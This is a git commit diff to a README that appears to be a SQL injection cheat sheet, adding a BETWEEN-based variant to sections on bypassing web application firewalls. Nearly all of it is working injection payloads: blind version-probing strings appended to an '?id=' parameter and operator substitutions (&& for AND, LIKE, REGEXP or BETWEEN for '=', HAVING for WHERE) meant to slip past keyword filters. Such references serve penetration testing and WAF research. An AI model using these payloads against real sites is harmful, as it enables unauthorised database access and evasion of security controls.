Update README.md

Add bypass waf using BETWEEN
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duongdpt 2019-10-28 22:26:28 +07:00 committed by GitHub
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@ -440,12 +440,13 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
No Equal - bypass using LIKE/NOT IN/IN
No Equal - bypass using LIKE/NOT IN/IN/BETWEEN
```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```
Blacklist using keywords - bypass using uppercase/lowercase
@ -461,7 +462,7 @@ Blacklist using keywords case insensitive - bypass using an equivalent operator
```sql
AND -> &&
OR -> ||
= -> LIKE,REGEXP, not < and not >
= -> LIKE,REGEXP, BETWEEN, not < and not >
> X -> not between 0 and X
WHERE -> HAVING
```